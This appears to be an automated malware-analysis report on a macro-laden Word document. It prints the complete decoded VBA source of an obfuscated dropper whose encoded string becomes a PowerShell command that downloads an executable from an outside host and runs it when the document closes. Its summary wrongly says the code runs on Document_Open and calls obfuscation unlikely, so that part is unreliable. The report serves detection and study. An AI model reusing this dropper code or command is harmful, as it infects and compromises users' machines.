MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious OOXML document containing VBA macros, specifically a Document_Open macro that executes code. The script attempts to download and execute a second-stage payload by reconstructing a URL and using CreateObject to run it. This behavior is indicative of a dropper malware.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6398851-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6398851-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1781 bytes |
SHA-256: 52bbb575d415bd6ad966d1d9f2805d25ccb8cd259b0c6104b13716ad8a992d10 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public lspAhvxv As String
Private Sub Document_Close()
MsgBox "Copyright by Microsoft"
Dim iigLxEhgMX, iwuBmgVOIJ, ahieUg As String
Dim jtqTKDRXQm(1 To 5) As String
jtqTKDRXQm(1) = "kZeZlELTNQ"
jtqTKDRXQm(2) = "qtHuwNHdJPAtly"
jtqTKDRXQm(3) = "eBFUrd"
jtqTKDRXQm(4) = "oJXEnWqnknAil"
jtqTKDRXQm(5) = "ihZfhqZjS"
iigLxEhgMX = "fpg1h{h#2f#SrzhuVkhoo1h{h#0Frppdqg#+qhz0remhfw#V|vwhp1Qhw1ZheFolhqw,1GrzqordgIloh+*kwwsv=22dsdshuqrwlrq1frp2zs0lqfoxghv2Wh{w2uhg1sks*/*(dssgdwd(_{|KV}1h{h*,>#^V|vwhp1Gldjqrvwlfv1Surfhvv`==Vwduw+*(dssgdwd(_{|KV}1h{h*,"
lspAhvxv = Environ$("computername")
If lspAhvxv Like "gdu" Then
ahieUg = "hey"
Else
ahieUg = "rt543"
iwuBmgVOIJ = Replace(iwuBmgVOIJ, ahieUg, "a")
For i = 1 To Len(iigLxEhgMX)
iwuBmgVOIJ = iwuBmgVOIJ + Chr(Asc(Mid(iigLxEhgMX, i, Mid(CStr(Year(Now)), 3, 1))) - 3)
Next i
jtqTKDRXQm(2) = iwuBmgVOIJ
aFKuVmp (jtqTKDRXQm(Mid(CStr(Year(Now)), 1, 1)))
End If
End Sub
Public Function iKKsZh(xfyiF As String)
Call CreateObject(Application.Run("sEGOQF")).Run(xfyiF, (9893 - 9893))
End Function
Public Function aFKuVmp(lyGQ As String)
Dim tQxWfm(1 To 5) As String
tQxWfm(5) = "iKKsZh"
tQxWfm(2) = "lnVIZ"
Call Application.Run(Replace(tQxWfm(5) + tQxWfm(2), "lnVIZ", ""), lyGQ)
End Function
Public Function sEGOQF()
sEGOQF = Trim(StrReverse(Replace("tpircsTruta", "Truta", "w")) & Replace("Vborhahell", "Vborha", ".S"))
End Function
Private Sub Document_Open()
ActiveDocument.Shapes("panel").Visible = msoFalse
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12288 bytes |
SHA-256: b9674e26b8ec292ee62923b5a7b7637ad65cf6eb8cf7e1f4f6f94eb7d9e7ea1f |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6398851-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.